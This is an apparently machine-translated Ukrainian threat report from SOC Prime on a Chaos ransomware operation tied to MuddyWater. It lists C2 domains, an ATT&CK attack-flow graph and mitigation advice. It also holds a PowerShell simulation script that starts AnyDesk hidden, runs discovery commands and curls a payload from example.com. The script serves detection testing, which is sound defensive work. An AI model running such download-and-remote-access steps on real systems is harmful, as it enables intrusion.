Вимагач Chaos і загроза з боку держави, пов’язана з ним

SOC Prime Team

Стежити

Вимагач Chaos і загроза з боку держави, пов’язана з ним

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

На початку 2026 року те, що спочатку здавалося рутинним інцидентом з програмою-вимагачем Chaos, пізніше було ідентифіковано як операція-прикриття, пов’язана з іранською державною групою MuddyWater, також відомою як Seedworm. Натомість фокусування на шифруванні файлів, нападники використовували Microsoft Teams для соціальної інженерії, викрали облікові дані та тоукени MFA, розгорнули кастомний загрузчик разом з трояном для віддаленого доступу. Операція повторно використовувала інфраструктуру, пов’язану з MuddyWater, включаючи сертифікат підпису коду, і була націлена на крадіжку даних та збереження стійкого, довготривалого доступу.

Розслідування

Дослідники Rapid7 відновили ланцюг вторгнення від крадіжки облікових даних за допомогою Teams до використання легітимних інструментів віддаленого управління, таких як AnyDesk та DWAgent, а потім доставки ms_upd.exe, що завантажив кастомний RAT на ім’я Game.exe. Команда ідентифікувала домени командного управління, включаючи moonzonet.com and uploadfiler.com, разом з декількома пов’язаними IP-адресами та сертифікатом підпису, який раніше був пов’язаний з MuddyWater. Аналіз шкідливого програмного забезпечення також виявив поведінку проти аналізу, м’ютекс, використаний для забезпечення одноразового виконання, і механізми збереження, що включають сервіс і приховані файли.

Захист

Організації повинні запровадити більш сильний захист MFA, обмежити доступ до віддалених робочих столів і спільного використання екранів Teams до надійних облікових записів, а також відстежувати використання законних інструментів віддаленого доступу в незвичних контекстах. Повинне застосовуватися дозволене виконання для бінарних файлів з підписом коду, і виконання несписаних файлів з каталогів, доступних користувачам, повинно бути заблоковано. Команди безпеки також повинні регулярно перевіряти використання сертифікатів та блокувати відомі шкідливі домени та IP-адреси, пов’язані з кампанією.

Відповідь

Якщо ця активність виявлена, ізолюйте уражені системи негайно, анулюйте скомпрометовані облікові дані та MFA-тоукени, та починайте повний судово-експертний збір. Установлену інфраструктуру командного управління слід заблокувати, служби AnyDesk і DWAgent повинні бути видалені, а кастомний RAT має бути повністю видалений з середовища. Також слід провести пошук загроз для м’ютексу ATTRIBUTES_ObjectKernel і будь-яких залишкових файлів, збережених під каталогом ProgramData.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#aaffaa classDef process fill:#ffcc99 classDef malware fill:#ff9999 %% Nodes – Actions action_initial_access["Дія – T1566 Фішинг Нападник відправив шкідливі повідомлення Microsoft Teams, що заманювали користувачів на фальшиву сесію з розділенням екрану Quick Assist."] class action_initial_access action action_user_exec_link["Дія – T1204.001 Виконання користувачем: Шкідливе посилання Жертви клікнули на шкідливе посилання, доставлене через Teams, що ініціювало завантаження ms_upd.exe."] class action_user_exec_link action action_user_exec_copypaste["Дія – T1204.004 Виконання користувачем: Шкідливе копіювання-вставка Атакуючі інструктували користувачів копіювати-вставляти облікові дані у локально створені текстові файли."] class action_user_exec_copypaste action action_cred_access["Дія – T1552.008 Незахищені облікові дані & T1078 Дійсні облікові записи Зібрані облікові дані з чатів і використані для входу до внутрішніх систем."] class action_cred_access action action_auth_mod["Дія – T1556.001 Аутентифікація контролера домену Скомпрометовані облікові дані були використані для аутентифікації до контролеру домену, що дозволило отримати привілейований доступ."] class action_auth_mod action action_discovery["Дія – T1082 Виявлення інформації про систему & T1016 Виявлення мережевої конфігурації системи Шкідливе програмне забезпечення зібрало ім’я хоста, ім’я користувача, домен, IP-адресу за допомогою ipconfig, whoami тощо."] class action_discovery action action_ingress_transfer["Дія – T1105 Імпорт інструментів ms_upd.exe завантажив додаткові компоненти (WebView2Loader.dll, Game.exe, visualwincomp.txt) за допомогою curl."] class action_ingress_transfer action action_execution["Дія – T1059 Командний та скриптовий інтерпретатор Атакуючий виконав cmd.exe, PowerShell та pythonw.exe для запуску завантажених бінарних файлів."] class action_execution action action_process_injection["Дія – T1055.011 Впорскування пам’яті додаткового вікна & T1055.002 Впорскування портативного виконуваного файлу pythonw.exe ін’єктував код у призупинені процеси, щоб запустити RAT непомітно."] class action_process_injection action action_defense_evasion["Дія – T1027 Обфусковані файли або інформація & T1497 Віртуалізація/ухилення від пісковика Завантаження закодовано XOR, зашифровано AES‑256‑GCM; перевірки на аналіз DLL, ідентифікатори VM та перевірка часу для уникнення детекції в пісковику."] class action_defense_evasion action action_persistence["Дія – T1219 Інструменти віддаленого доступу Розгортання служби DWAgent та AnyDesk для довготривалого віддаленого управління."] class action_persistence action action_lateral_movement["Дія – T1563 Захоплення сесії віддаленої служби (RDP) & T1668 Виключний контроль Використані легітимні сесії RDP для переміщення в латеральному напрямку та виконання команд на додаткових хостах."] class action_lateral_movement action action_collection_exfil["Дія – T1560 Архівація зібраних даних & T1041 Експілтрація через C2‑канал Дані архівовані у XOR‑зашифрованому архіві та завантажені на uploadfiler.com."] class action_collection_exfil action action_c2["Дія – T1090 Проксі & T1573 Зашифрований канал Комунікація з інфраструктурою C2 (moonzonet.com, uploadfiler.com) через HTTPS із зашифрованими завантаженнями."] class action_c2 action %% Nodes – Tools / Files / Processes / Malware file_ms_upd["Файл – Ім’я: ms_upd.exe Опис: Початковий завантажувач, що отримує додаткові компоненти."] class file_ms_upd file file_webview["Файл – Ім’я: WebView2Loader.dll Опис: Підтримуючий DLL для відображення веб-контенту."] class file_webview file file_game["Файл – Ім’я: Game.exe Опис: Вторинний компонент, виконуваний після завантаження."] class file_game file file_visual["Файл – Ім’я: visualwincomp.txt Опис: Текстовий файл, що використовується для даних конфігурації."] class file_visual file process_cmd["Процес – Ім’я: cmd.exe Призначення: Виконує інструкції командного рядка."] class process_cmd process process_ps["Процес – Ім’я: PowerShell Призначення: Запускає скрипти PowerShell для виконання завдань."] class process_ps process process_python["Процес – Ім’я: pythonw.exe Призначення: Виконує компоненти на основі Python та виконує впорскування в процеси."] class process_python process malware_dwaga["Шкідливе програмне забезпечення – Ім’я: Служба DWAgent Призначення: Забезпечує постійний віддалений доступ."] class malware_dwaga malware tool_anydesk["Інструмент – Ім’я: AnyDesk Опис: Легітимна утиліта віддаленого робочого столу, що використовується для збереження та латерального переміщення."] class tool_anydesk tool %% Connections – Потік action_initial_access –>|leads_to| action_user_exec_link action_user_exec_link –>|downloads| file_ms_upd action_user_exec_link –>|leads_to| action_user_exec_copypaste action_user_exec_copypaste –>|provides| action_cred_access action_cred_access –>|enables| action_auth_mod action_auth_mod –>|enables| action_discovery action_discovery –>|triggers| action_ingress_transfer action_ingress_transfer –>|downloads| file_webview action_ingress_transfer –>|downloads| file_game action_ingress_transfer –>|downloads| file_visual action_ingress_transfer –>|leads_to| action_execution action_execution –>|executes| process_cmd action_execution –>|executes| process_ps action_execution –>|executes| process_python process_python –>|injects| action_process_injection action_process_injection –>|facilitates| action_defense_evasion action_defense_evasion –>|enables| action_persistence action_persistence –>|installs| malware_dwaga action_persistence –>|installs| tool_anydesk malware_dwaga –>|supports| action_lateral_movement tool_anydesk –>|supports| action_lateral_movement action_lateral_movement –>|collects| action_collection_exfil action_collection_exfil –>|exfiltrates via| action_c2 %% Стилінг класів class action_initial_access,action_user_exec_link,action_user_exec_copypaste,action_cred_access,action_auth_mod,action_discovery,action_ingress_transfer,action_execution,action_process_injection,action_defense_evasion,action_persistence,action_lateral_movement,action_collection_exfil,action_c2 action class file_ms_upd,file_webview,file_game,file_visual file class process_cmd,process_ps,process_python process class malware_dwaga malware class tool_anydesk tool "

Потік Атаки

Атака & Команди:
1. Встановити віддалену позицію використовуючи легітимний інструмент віддаленого управління AnyDesk.exe (відповідає селектору “віддалений‑інструмент”).
2. Виконати мережеве розвідування виконуючи ipconfig and whoami з тієї ж сесії – задовольняючи селектор ‘команди виявлення’.
3. Завантажити шкідливий компонент використовуючи curl викликаний через cmd.exe, класична техніка для ‘Імпорту інструментів’ (T1105) та ‘Інтерфейс командного рядка’ (T1059).
4. Виконати завантажений компонент щоб завершити ланцюг вбивства (необхідно для валідації правила, але включено для реалістичності).

Сценарій регресійного тесту:

# -------------------------------------------------
# Симуляція скрипту – активує правило Sigma
# -------------------------------------------------
# 1. Запустити AnyDesk (симулюється – припускається, що AnyDesk є в PATH)
Start-Process -FilePath "AnyDesk.exe" -ArgumentList "--no-sandbox" -WindowStyle Hidden

# 2. Виконати команди виявлення
$discovery = @(
    "ipconfig /all",
    "whoami",
    "net start"
)
foreach ($cmd in $discovery) {
    cmd.exe /c $cmd | Out-Null
}

# 3. Використовувати cmd.exe + curl для отримання фіктивного компонента
$payloadUrl = "http://example.com/malicious.exe"
$outputPath = "$env:TEMPpayload.exe"
$downloadCmd = "curl $payloadUrl -o $outputPath"
cmd.exe /c $downloadCmd

# Необов'язково: Виконати завантажений компонент (коментар для безпеки)
# Start-Process -FilePath $outputPath -WindowStyle Hidden
# -------------------------------------------------

Команди очистки:

# Завершити AnyDesk, якщо він був запущений
Get-Process -Name "AnyDesk" -ErrorAction SilentlyContinue | Stop-Process -Force

# Видалити завантажений компонент
Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue

# Очистити залишкові процеси cmd.exe, створені скриптом
Get-Process -Name "cmd" -ErrorAction SilentlyContinue | Stop-Process -Force

Кінець звіту

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно